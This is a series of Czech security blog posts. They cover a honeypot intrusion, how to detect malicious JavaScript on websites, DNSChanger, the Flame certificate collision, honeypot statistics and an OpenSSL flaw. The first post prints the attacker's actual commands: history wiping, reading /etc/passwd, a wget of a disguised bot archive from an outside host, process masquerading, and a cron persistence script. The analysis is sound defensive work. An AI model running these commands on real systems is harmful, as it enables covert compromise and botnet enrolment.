Minulý týden jsme na našem honeypotu zachytili několik pokusů o napadení a zařazení do botnetu. Pro zajímavost chci tedy ukázat jeden případ, jak se hacker snažil zneužít systém, který měl záměrně triviální přihlašovací údaje. Na základě prodlev při psaní příkazů bylo poznat, že nešlo o automatický skript. Dotyčný se snažil nainstalovat a skrýt variantu IRC bota EnergyMech, který již dlouho patří do výbavy převážně script kiddies (dokonce se o něm takto zmiňuje Linux Documentation Project). Tuto konkrétní variantu zaznamenal VirusTotal již v roce 2007.

O co se tedy útočník snažil? V první řadě chtěl zamezit ukládání historie zadávaných příkazů přenastavením proměnných prostředí:

$ unset HISTORY HISTFILE HISTSAVE HISTZONE HISTLOG WATCH; \
> export HISTFILE=/dev/null; export HISTSIZE=0; \
> export HISTFILESIZE=0;unset HISTFILE; unset HISTSAVE; \
> unset REMOTEHOST; unset REMOTEUSER; unset HISTMOVE; \
> unset USERHOST; history -n; unset WATCH; export HISTFILE=/dev/null

Následně si vypsal základní informace o systému, existující domovské adresáře a nalogované uživatele:

$ cat /proc/cpuinfo
$ cd /home
$ ls -xa
$ cd -
$ uname -a
$ w

Dále udělal několik testů zda již stroj není hacknutý a zda není nainstalován Parallels Plesk Panel (nebyl):

$ strings -a /usr/sbin/sshd | grep %s:%s -A2 -B2
$ cat /etc/psa/.psa.shadow
$ history -c
$ cat /etc/ssh/.sshd_auth

Sběr informací pokračoval následujícími příkazy (mimochodem je vidět, že zbytečně některé příkazy spouštěl vícekrát):

$ ps -aux
$ cat /etc/passwd
$ uname -a
$ w
$ last
$ cd ~
$ ls -xa

Až nakonec přešel k samotné instalaci IRC bota. Ten stáhl do adresáře /dev/shm, kde je připojen virtuální souborový systém tmpfs (může do něj zapisovat každý uživatel). Stažený soubor pochopitelně nebyl obrázek, ale archiv (jméno souboru jsem změnil, abych předešel jeho zneužití):

$ cd /dev/shm/
$ ls -xa
$ wget http://magic.ucoz.ae/XXX.jpg; tar xvf XXX.jpg;

Obsahem archivu byly následující soubory:

XXX/
XXX/autorun
XXX/bash
XXX/inst
XXX/m.help
XXX/pico
XXX/r/
XXX/r/raway.e
XXX/r/rinsult.e
XXX/r/rkicks.e
XXX/r/rnicks.e
XXX/r/rpickup.e
XXX/r/rsay.e
XXX/r/rsignoff.e
XXX/r/rtsay.e
XXX/r/rversions.e
XXX/run
XXX/start
XXX/update
XXX/xh

Dalšími příkazy smazal ze skriptů znak carriage return, zamaskoval hlavní binární soubor přejmenováním na sshd:, aby nebyl nápadný mezi spuštěnými procesy a spustil hlavní skript s parametrem qq určujícím použitý IRC kanál:

$ rm -rf XXX.jpg
$ cd XXX
$ chmod +x *
$ mv bash sshd:
$ sed -i 's/\r//' start; sed -i 's/\r//' inst; sed -i 's/\r//' run
$ ./start qq

Před odchodem ještě jednou zkontroloval /etc/passwd a smazal historii:

cat /etc/passwd
history -c

Ze skriptů v archivu stojí za zmínku soubor autorun, který instaloval watchdog script do cronu:

#!/bin/sh
pwd > mech.dir
dir=$(cat mech.dir)
echo "* * * * * $dir/update >/dev/null 2>&1" > cron.d
crontab cron.d
crontab -l | grep update
echo "#!/bin/sh
if test -r $dir/m.pid; then
pid=\$(cat $dir/m.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd $dir
./run &>/dev/null" > update
chmod u+x update

Dále je důležitý také generátor konfigurace inst, který vybral pro bota náhodné jméno a vytvořil soubor m.set s konfigurací pro každou síťovou adresu systému (pro ukázku zde 192.168.1.1) a soubor s příslušným operátorem bota (192.168.1.1.user):

$ cat m.set
SERVER 208.83.20.130 6667
SERVER budapest.hu.eu.undernet.org 7000
SERVER budapest.hu.eu.undernet.org 6666
SERVER zurich.ch.eu.undernet.org 7000
SERVER mesa.az.us.undernet.org 7000
ENTITY 192.168.1.1
### BOT 1 ###
NICK Irina
USERFILE 192.168.1.1.user
CMDCHAR .
LOGIN Peter
IRCNAME Olga
MODES +iwsx
HASONOTICE
VIRTUAL 192.168.1.1
TOG CC 1
TOG CLOAK 1
TOG SPY 1
SET OPMODES 6
SET BANMODES 6
CHANNEL #qq 
TOG PUB 1
TOG MASS 1
TOG SHIT 1
TOG PROT 1
TOG ENFM 0
SET MKL 7
SET MBL 7
SET MPL

$ cat 192.168.1.1.user
handle * 
mask *!*@MagicX.users.undernet.org 
prot 4
aop 1
channel * 
access 100

Jak je vidět z konfigurace, bot se připojoval na servery sítě Undernet. Když jsem v izolovaném prostředí bota spustil, byl automaticky sítí Undernet odpojován s hlášením:

Infected with a virus or trojan, please clean your system.
Cleaner @ http://www.moosoft.com (P227)

V tomto případě jsou tedy skutečné oběti chráněny provozovatelem Undernet serverů a lze jen hádat, jak by útočník napadený stroj dále využíval.

Z hlediska bezpečnosti mě potěšil fakt, že hned příští den přišlo našemu bezpečnostnímu týmu CZ.NIC-CSIRT varování od organizace Shadowserver o mém pokusu připojit se se zmíněnou konfigurací. Tato organizace zdarma monitoruje autonomní systémy a hlásí zjištěné incidenty. Pokud tedy spravujete síť, vřele doporučuji tyto reporty odebírat. Na stejném webu najdete také doporučení, jak botnet detekovat.

Jiří Machálek

Při práci s naší aplikací MDM musíme občas řešit žádosti o pomoc týkající se nalezeného vadného kódu na webových stránkách. Je to celkem pochopitelné, stránky jsou často v provozu roky, nikdo na ně za tu dobu nesáhl a nebo si je držitel nechával od někoho dělat a dnes už třeba na tvůrce webu nemá ani kontakt. Zkrátka důvodů, proč se na nás oběti útoků obrací, existuje celá řada. Proto jsem se rozhodl napsat tento článek, abych mohl názorně demonstrovat, s jakými problémy se nejčastěji setkáváme, jak lze zamaskovaný javascript v kódu stránky nalézt a jak dále postupovat po jeho odhalení.

Jako první krok je vhodné zkusit tento on-line nástroj, který vám může ušetřit hodně času. Obsahuje databázi skriptů a technik používaných útočníky a pokud je na vašich stránkách rozpozná, ukáže vám také zdrojový kód, který je původcem problému. Další podobný nástroj, který Vám může hodně pomoci, je urlquery.net. Ten totiž provede analýzu stránky automaticky a ukáže Vám například, odkud se které části stránky stahovaly. Pokud pak ve výpise uvidíte neznámou doménu, tak máte jasno, odkud se malware vzal. Pokud ani toto nepomůže, je potřeba hledat jiným způsobem, tedy podívat se do zdrojového kódu webových stránek.

Nejčastěji se při útocích setkáváme s použitím tagu iframe. Ten se používá pro vnoření webové stránky do jiné. Konkrétní vložení kódu se pak provádí tagem <iframe>. Snahou útočníků je samozřejmě dosáhnout toho, aby vložený prvek nebyl na napadeném webu snadno viditelný, proto použijí atributy, kterými se vložený frame zmenší na nejmenší možnou velikost a zároveň mu nastaví jeho neviditelnost. Samotné nastavení neviditelnosti by nestačilo, protože vložený prvek by na cílové stránce okupoval určitý prostor, což by bylo nápadné. Proto útočník obvykle použije nějakou takovouto konstrukci:

Pokud tedy na podobný kód směřující na vám neznámou doménu při zkoumaní html kódu narazíte, bude to pravděpodobně to co hledáte. Takovýto zřejmý odkaz by však dokázal i trochu zkušenější uživatel v kódu html najít, obzvlášť, pokud přihlédneme k tomu, že je tento odkaz obvykle směřován na pro nás přece jen trochu exotičtější domény typu .cn. Proto útočníci přistupují i k dalším metodám zmatení kódu. Bohužel takto zamaskovanou změnu již není možné snadno odhalit. Proto se také obvykle setkáváme s částmi kódu, které vypadají asi takto:

Zde již není možné na první pohled jednoznačně určit, zda byl kód vložen dodatečně útočníkem, či zda tam tento kus kódu vložil původní tvůrce stránek. Ve spodní části je v závorce velká řada čísel a písmen. Podle použitých čísel a písmen můžeme usuzovat na použití hex kódu k zamaskování skutečné URL. Jedná se o obvyklou taktiku používanou útočníky. Nyní tedy použijeme on-line dekódovací nástroj, upozorňuji, že je potřeba vzít pouze tuto část skriptu:

Po dekódování získáme takovýto výsledek:

Opět i bez hlubší znalosti JavaScriptového kódu vidíme, že script vkládá do webové stránky iframe odkazující na gstats.cn. Upozorňuji, že se jedná o skutečný kód použitý na jednom z napadených webů. Proto nedoporučuji zkoumat obsah webu http://gstats.cn. Toto platí i pro všechny další ukázky.

Další metodou, jak odhalit pravou funkci podezřelého skriptu, je jeho spuštění. Toto však doporučuji pouze zkušeným uživatelům a pouze v k tomu účelu vytvořeném virtuálním PC nebo v některém sandboxu. K samotnému provedení této akce lze použít například nainstalovaný Firefox a v něm plugin firebug. Řekněme, že máme takovýto skript:

Pro jeho zpřehlednění můžeme použít on-line nástroj jsbeautifier(). Zkopírujeme vše mezi tagy script a na stránce jsbeatifier.org si jej necháme upravit tak, aby pro nás byl více přehledný. Získáme takovýto výstup:

Nyní změníme ve skriptu příkaz document.write(str); na alert(str);. Tím zajistíme, že se výsledek scriptu nepřidá jako součást stránky, ale vypíše se v jednoduchém dialogovém okně jako text. Nyní spustíme firebug, zvolíme konzole a vložíme předupravený skript. Zvolíme spustit a vyskočí na nás okno, kde vidíme kód, který se jinak vkládá do webové stránky. Jak můžete vidět na obrázku, je to náš starý dobrý známý, tag iframe.

A nyní malá soutěž. Na následující kód jsme narazili nedávno. Je na něm zajímavé například to, že obsahuje záměrně zbytečné části, které mají ztížit orientaci v jeho kódu. Kdo první napíše v diskuzi doménu, na kterou se skriptem vkládaný iframe odkazuje, ten od nás obdrží poštou tričko. Malá rada na závěr, zkuste to pomocí funkce console.log a pozor, opět se jedná o ukázku skutečného kódu, je tedy potřeba se skriptem zacházet opatrně. Prohlédnout si jej můžete zde (původní txt soubor byl nahrazen png obrázkem). Kromě správné odpovědi nezapomeňte připojit také Vaši e-mailovou adresu, ať Vás můžeme ohledně výhry kontaktovat.

Na závěr bych rád uvedl ještě pár rad, kterými je dobré se řídit, pokud již takovouto havěť na svém webu najdete. Jak jste mohli vidět, útočníci jsou opravdu velmi vynalézaví a je proto poměrně obtížné se s těmito způsoby útoku vypořádat. Pokud však odhalíte takovýto kód ve vaší webové aplikaci, doporučujeme následující postup:

1. Odpojte webové stránky, případně změňte úvodní stránku, aby zobrazovala pouze informace o údržbě. Předejdete tak dalšímu napadení uživatelů vašeho webu.

2.Než začnete odstraňovat kód, o němž si myslíte, že do vašich stránek nepatří, udělejte si zálohu, pokud ji nemáte.

3. Pokud máte čistou zálohu stránek, použijte ji. Pokud ne, musíte najít a odstranit škodlivý kód ručně.

4. Zkontrolujte, že na žádném z počítačů, ze kterých web upravujete pomocí FTP, nemáte viry, či jiný malware. Dle našich zkušeností je toto častá cesta, kterou se útočníci k heslům dostanou. Pak pro ně samozřejmě není těžké do stránek přidat svůj vlastní kód.

5.Změňte všechna hesla, která mají nějaký vztah k napadenému webu. Hesla k FTP, SSH, heslo admina aplikace (WordPress, Joomla) atd.

6. Například pomocí již zmiňovaného on-line nástroje zkuste otestovat, zda je Váš web již skutečně v pořádku. Posledním krokem je pak nalezení způsobu, kterým byl kód do stránky vložen. Nejčastějšími příčinami jsou již zmiňovaná krádež hesel pomocí viru na počítači správce webu, dále se může jednat o zastaralou verzi CMS, například WordPress, Joomla a další. Může se jednat také o zranitelnost samotného serveru, na kterém webové stránky běží.
Rozhodně radíme tento problém nepodceňovat, protože na vložené stránce se mohou vyskytovat skripty, které mohou uživateli stáhnout do počítače nebezpečné soubory, či například hledat zranitelnosti používaného prohlížeče.

Pavel Bašta

Americký federální úřad pro vyšetřování (FBI) vypnul v pondělí 9. července DNS servery, které neoprávněně a protizákonně využívaly skupiny hackerů, především ze Spojených států. Tato akce nebyla nečekaná, americký bezpečnostní úřad na toto vypnutí DNS serverů několikrát v minulosti upozornil.

Zpravodajský server BBC uvedl, že byly virem DNSChanger napadeny přibližně čtyři milióny strojů. V pondělí 9. července bylo takto zasažených „pouze“ 300 tisíc těchto zařízení, přičemž 70 tisíc pocházelo ve Spojených států (další desítky tisíc byly z Itálie, Velké Británie a Německa). Tento problém se bohužel nevyhnul ani České republice. Na našem území bylo identifikováno přes 2 000 nakažených počítačů a routerů.

Virem DNSChanger se zabýváme již delší dobu, a to nejen na našem blogu. Díky tomu, a také díky patřičné medializaci celé záležitosti, jsme zaznamenali vzrůstající zájem o naši stránku http://www.dns-ok.cz, díky níž je možné snadno a rychle zjistit, zda je nebo není váš počítač tímto virem napaden.

První vlnu zájmu uživatelů jsme zaznamenali v dubnu tohoto roku, a to v souvislosti s naší snahou na celou záležitost včas upozornit. Tehdy jsme zjistili, že naši testovací internetovou stránku „navštívilo“ přibližně 20 IP adres, které byly tímto virem infikované. V průběhu tohoto pondělí a úterý bylo potom otestováno více než 1 400 unikátních IP adres, z nichž nakažených bylo pouze 10.

Jsme rádi, že stránku www.dns-ok.cz využili i jinde. Z našich logů vyplývá, že zájem projevil i ne zrovna malý počet uživatelů ze Slovenska.

Michal Prokop

Malware s digitálním podpisem už není žádná novinka, i když naštěstí pořád rarita – viděli jsme to u ukradených certifikátů (Stuxnet) a certifikátů se slabými faktorizovatelnými klíči. A teď ještě přibyl případ, kde se malware tvářil, jako by byl podepsán přímo od Microsoftu.

Všechny detaily ještě nejsou známé, občas se mlží, ale základní princip je už z některých zveřejněných řetězců certifikátů celkem jasný – Microsoft udělal „sub-CA“ ze všech zákazníků jednoho produktu (enterprise verze Terminal Services), takže mohli podepisovat jakýkoli kód libovolným jménem. Certifikáty Microsoftu umožňující tento podpis jsou již revokovány, původní security advisory je v následujících článcích:

• Microsoft Security Advisory (2718704)
• Unauthorized digital certificates could allow spoofing
• Microsoft certification authority signing certificates added to the Untrusted Certificate Store

CrySys zveřejnil ukázku řetězce certifikátů, na které lze vidět jak celý „trik“ funguje:

1. sub-CA „Microsoft Enforced Licensing Registration Authority CA“ se řetězí přes „Microsoft Enforced Licensing Intermediate PCA“, která je podřízená sub-CA pod „Microsoft Root Authority“ CA
2. „Microsoft Root Authority“ je kořenová autorita, jejíž certifikát je přítomen v systémovém úložišti certifikátů Windows
3. podle OID v X509v3 rozšíření Extended Key Usage je použití certifikátů pro: Code Signing, Key Pack Licenses (szOID_LICENSES), License Server Verification (szOID_LICENSE_SERVER)
4. certifikáty neobsahují žádné omezení týkající se jmen (rozšíření Name Constraints není přítomné)
5. tudíž jakýkoli podpis kódu ověřený přes tento řetězec se ukáže jako správný

V ukázce od CrySys je certifikát na čtvrté úrovni (Level 4) zřejmě certifikátem sub-CA, který zákazníci mohli použít pro podpis koncového certifikátu kódu. Znamená to, že k němu měli privátní klíč nebo fungovali jako registrační autorita (RA) – tj. nadřazená CA jim poskytovala „orákulum“, které podepsalo cokoliv (z popisu to není úplně jasné, variantě o RA by odpovídala i zkratka LSRA).

Hlavním problémem zde není ani použití PKI per se, ale spíše drobný „detail“, díky němuž se celý řetězec certifikátů řetězil ke kořenovému certifikátu v systémovém úložišti (je označen jako důvěryhodný). Jedna spekulace říká, že si vývojáři nebo architekt chtěli ulehčit život a místo separátní CA použili právě tu existující (ta ale měla vedlejší efekty).

V KB Microsoftu byly ještě zmatené zmínky o MD5 kolizích, ale žádné páry kolizních certifikátů nebyly k dispozici. Až nedávno se na MSDN objevil článek Flame malware collision attack explained, který sice ty kolizní certifikáty taky nemá, ale z analýzy certifikátu je vidět, že certifikát je „podivně“ pozměněn – chybí některé X.509v3 extensions. Při zkoumání se v certifikátu objevilo podivné pole Issuer Unique Identification (v praxi se téměř nepoužívá). To vzniklo právě kolizí a právě bity kolize způsobily, že se tělo pole natáhlo přes zbytek struktury ASN.1 – tudíž se „nepříjemná“ Hydra extension (OID 1.3.6.1.4.1.311.18, označená navíc jako „critical“) stala tělem nějakého řetězce – ten se neparsuje jako extension, tudíž už nepředstavuje problém.

Využití MD5 kolize je založeno na stejném triku, jaký jsem kdysi použil pro demonstraci já nebo mnoho jiných – „binární bordel“ je potřeba nastrkat do nějaké „vaty“ v datové struktuře (tak, že se neovlivní zásadně sémantika změněných dat). Je ale potřeba trochu experimentovat, než člověk trefí správné bity a správné délky. Ty kolizní certifikáty zřejmě podepisovalo „podepisovací orákulum“ někde u Microsoftu; toto orákulum ale nechtělo podepsat libovolný certifikát. Tak si útočníci pomohli s kolizí, při níž jim navíc hrál do karet fakt, že sériové čísla certifikátů a pár dalších polí byly lehce predikovatelné. Musím říct, že je to dost chytrý a elegantní útok. Nečekal jsem, že bych ho po tolika letech viděl „v divočině“.

Stevens a de Weger (autoři proof-of-concept certifikátů s MD5 kolizemi) tvrdí, že MD5 chosen-prefix-collision útok ve Flame je nový oproti jejich útoku. Nicméně myšlenka zůstává stejná – mít možnost zostrojit kolizi pro libovolné IV (odtud chosen-prefix – útočník si může vybrat libovolný kus dat délky násobku bloku před kolizí). Tím pádem novost spočívá pravděpodobně v rychlosti vytvoření kolize nebo menší počet CSR požadavků, než se útočník strefil do očekávaného sériového čísla a času, aby získal pár kolizních certifikátů.

Na závěr trocha odlehčení – CrySys poslal výzvu autorům Duqu, ať zveřejní kód, protože podléhá GPL.

Ondrej Mikle

Jednou z aktivit CZ.NICu je provozování serverů detekujících pokusy o neoprávněná připojení a útoky. Obecně se takový server označuje jako honeypot (tedy sklenice medu) – pro útočníky se může zdát lákavý, ale poskytované služby jsou pouze simulované a informace o útočníkovi se zaznamenávají. Zde je vhodné podotknout, že se nejedná o cílené útoky, ale spíše o výsledky práce programů (čtěte virů), které systematicky prochází prostor IP adres a zkouší, kde budou mít štěstí. Smysl provozování honeypotů je v analýze trendů a monitorování bezpečnosti internetu. Jaké jsou tedy naše statistiky za duben letošního roku?

Zdroje útoků v dubnu 2012

Mapa je obarvena sytější barvou tam, odkud jsme zaznamenali více spojení. Není velkým překvapením, že vede Rusko, druhý za ním je potom Írán. Pokud se ale podíváme na žebříček nejčastějších IP adres, je vidět, že tyto země se do vedení dostaly zásluhou jednotlivců, navíc šlo o jednorázové skenování. Mimo těchto dvou případů je vidět, že zdroje útoků jsou velmi pestré a vyrovnané.

Nejčastější útočníci (duben 2012)

O jaké služby je největší zájem? Nejčastěji se útočníci zkouší připojit na port 80 (HTTP server), následně port 135 (služba Microsoft Remote Procedure Call), 5060 (protokol SIP), 3389 (Remote Desktop Protocol) a 1080 (SOCKS server). Není to nic překvapivého, protože všechny tyto služby se dají v případě napadení dobře zpeněžit nebo alespoň posloužit k dalšímu šíření virů.

Cílové porty (duben 2012)

Poslední statistika ukazuje pravděpodobné operační systémy útočníků (ten určuje pasivně utilita p0f z charakteristik TCP/IP komunikace): Systémy s různými verzemi OS Windows má celkem 39,5 % útočníků, systémy založené na Linuxu s jádrem verze 2.6 16,7 %, ostatní systémy zůstaly neurčené.

Operační systémy útočníků (duben 2012)

Jiří Machálek

Narůstající kybernetická kriminalita nedává spát ani Evropské komisi (EK), která na konci března navrhla zřízení Evropského centra pro boj proti kriminalitě, tzv. EC3. V rámci odůvodnění nové instituce stojí za povšimnutí především vyjádření celosvětové ztráty ve výši 388 mld. USD, díky čemuž je kyberkriminalita výnosnější než obchod s marihuanou, kokainem a heroinem dohromady.

Úkolem nového centra, jenž by fungovalo v rámci Europolu, by mělo být především shromažďovat informace o kyberkriminalitě, podporovat členské státy či vystupovat jménem vyšetřovatelů z celé Evropy, kteří se touto formou trestné činnosti zabývají. V hledáčku pozornosti této instituce by pak měly být trestné činy, jako jsou podvody na internetu páchané organizovanými skupinami, pohlavní vykořišťování dětí či útoky proti kritické informační infrastruktuře.

Podle plánu EK by mělo být centrum zřízeno již v průběhu příštího roku a v plném provozu by mělo být o rok později, tedy od roku 2014. Do té doby však návrh čeká projednávání Radou EU i Evropským parlamentem. Budeme tedy moci sledovat, co se z na první pohled „nevinných formulací“ typu „podpora vazeb na skupiny CERT“ či „spuštění internetové aplikace pro hlášení případů kybernetické kriminality a napojení ohlašovacích kanálů pocházejících od různých aktérů včetně podniků“ vyklube. Zajímavé bude jistě i nastavení kompetencí ve vztahu k Evropské agentuře pro bezpečnost sítí a informací (ENISA), jejíž stávající mandát vyprší 13. září 2013 a při projednávání nového mandátu na půdě Rady i Evropského parlamentu zaznívají hlasy, které by ENISA rády přiřkly rovněž pravomoci v oblasti kybernetické kriminality.

Jiří Průša

Nedávno se ve full-disclosure mailing-listu objevila zpráva o heap-overflow zranitelnosti v parsování ASN.1 v OpenSSL. Zranitelnost je složena ze dvou částí:

• Při konverzi long -> int na x86_64 architektuře dochází k ořezání nejvyšších 32 bitů, výsledek se uloží do 32-bit integeru se znaménkem. Použitím DER-enkódovaného certifikátu, který má nějaký length-field s bitem 32 nastaveným, dojde k přetečení do záporných čísel.
• Funkce realloc() podle C99. standardu musí umět jak paměť alokovaného bloku zvětšit, tak zmenšit. Problém spočívá v tom, že obdobná funkce CRYPTO_realloc_clean() v OpenSSL nepodporuje zmenšení bloku. Pokud je nová délka alokovaného bloku menší než původní délka, část paměti za alokovaným bufferem se přepíše bajty navíc z původního bloku.

Kombinací obou chyb lze část paměti přepsat „speciálně formovaným“ certifikátem. Chybu je poměrně těžké zneužít, ale rozhodně to není nemožné. Týká se funkcí pojmenovaných d2i_*_bio a d2i_*_fp (a pár dalších pracujících s CMS a S/MIME).

Zatím probíhá šetření, který software používající OpenSSL je chybou ovlivněn. V tuto chvíli jsou chyby s největší pravděpodobností vyloučeny u:

• OpenSSH – používá vlastní kód pro parsování ASN.1
• Tor – používá in-memory d2i_* a PEM_* funkce, žádné z napadnutelných
• DNSSEC Validator – ASN.1 parsování se vůbec nepoužívá
• dslib – openssl se vůbec nepoužívá, ASN.1 parsování dělá pyasn1
• datovka – potenciálně zranitelná funkce OpenSSL.crypto.load_pkcs12 se nachází jen u načtení vašeho certifikátu z disku (tudíž dokud ho někdo nezmění, nic se nestane; navíc používá se jenom při přihlašovaní certifikátem)
• Knot DNS 1.0.3 – žádná zranitelná funkce se nevolá
• Firefox 11, Thunderbird 11.0.1 (komponenty NSS, NSPR a XulRunner) – Firefox i Thunderbird mají ale spoustu závislostí; je teoreticky možné, že jsem něco přehlédnul
• Apache 2.4.2, nginx 1.0.15 a 1.1.19, lighttpd 1.4.30 – používají některé ze zranitelných funkcí, ale jenom při čtení certifikátů z disku

Další pár očí pro kontrolu samozřejmě neuškodí. Statickou analýzou kódu jsem vytvořil call-graph a regexp, kterým lze ověřit, jestli nějaký kód volající funkce openssl používá potenciálně zranitelné funkce. Bugy jsou opraveny ve verzích openssl 1.0.1a, 1.0.0i or 0.9.8v. Jeden způsob, jak zmírnit dopad chyby v openssl (i budoucí), je použití stunnel v jail-u, ale má to některé další nevýhody jako těžší zpracování logů.

Další zajímavý fakt je, že tato konkrétní chyba (bez části o realloc()) byla publikována v roce 2006 v knize The Art of Software Security Assessment: Identifying and Preventing Software Vulnerabilities. Zde je fotografie stránek se zmíněnou chybou (konverze long -> int). Nicméně to není první ani poslední „znovuobjevený“ bug v softwaru.

Ondrej Mikle